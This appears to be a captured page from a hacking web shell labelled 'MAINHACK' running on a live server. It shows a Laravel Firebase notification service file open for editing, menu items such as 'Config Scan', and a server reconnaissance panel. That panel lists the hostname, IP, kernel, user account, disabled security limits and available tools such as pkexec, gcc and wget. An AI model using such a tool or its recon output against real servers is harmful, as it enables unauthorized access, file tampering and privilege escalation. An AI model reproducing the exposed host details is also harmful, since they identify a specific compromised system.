[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: FirebaseService.php
<?php namespace App\Services; use Exception; use GuzzleHttp\Client; use App\Models\NotificationSetting; use Illuminate\Support\Facades\Log; use Smartisan\Settings\Facades\Settings; use Google\Auth\Credentials\ServiceAccountCredentials; class FirebaseService { public $filePath; public function sendNotification($data, $fcmTokens, $topicName): void { try { $notification = Settings::group('notification')->all(); $url = 'https://fcm.googleapis.com/v1/projects/' . $notification['notification_fcm_project_id'] . '/messages:send'; $accessToken = $this->getAccessToken(); $client = new Client(); $headers = [ 'Authorization' => 'Bearer ' . $accessToken, 'Content-Type' => 'application/json', ]; foreach ($fcmTokens as $fcmToken) { $payload = [ 'message' => [ 'token' => $fcmToken, 'notification' => [ 'title' => $data->title, 'body' => $data->description, 'image' => $data->image ?? null, ], 'data' => [ 'title' => $data->title, 'body' => $data->description, 'sound' => 'default', 'image' => $data->image ?? null, 'topicName' => $topicName, ], 'webpush' => [ "headers" => [ "Urgency" => "high" ] ], ], ]; $result = $client->post($url, [ 'headers' => $headers, "body" => json_encode($payload) ]); } } catch (Exception $e) { Log::info($e->getMessage()); } } function getAccessToken() { $keyFilePath = NotificationSetting::where(['key' => 'notification_fcm_json_file'])->first()->file; $parsed_url = parse_url($keyFilePath); if (isset($parsed_url['path'])) { $relative_path = ltrim($parsed_url['path'], '/storage'); $this->filePath = storage_path('app/public/' . $relative_path); } else { throw new Exception('No file found in the URL'); } $SCOPES = ['https://www.googleapis.com/auth/cloud-platform']; if (!file_exists($this->filePath)) { throw new Exception('Service account key file not found'); } $credentials = new ServiceAccountCredentials($SCOPES, $this->filePath); $token = $credentials->fetchAuthToken(); if (isset($token['access_token'])) { return $token['access_token']; } else { throw new Exception('Failed to fetch access token'); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.08 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002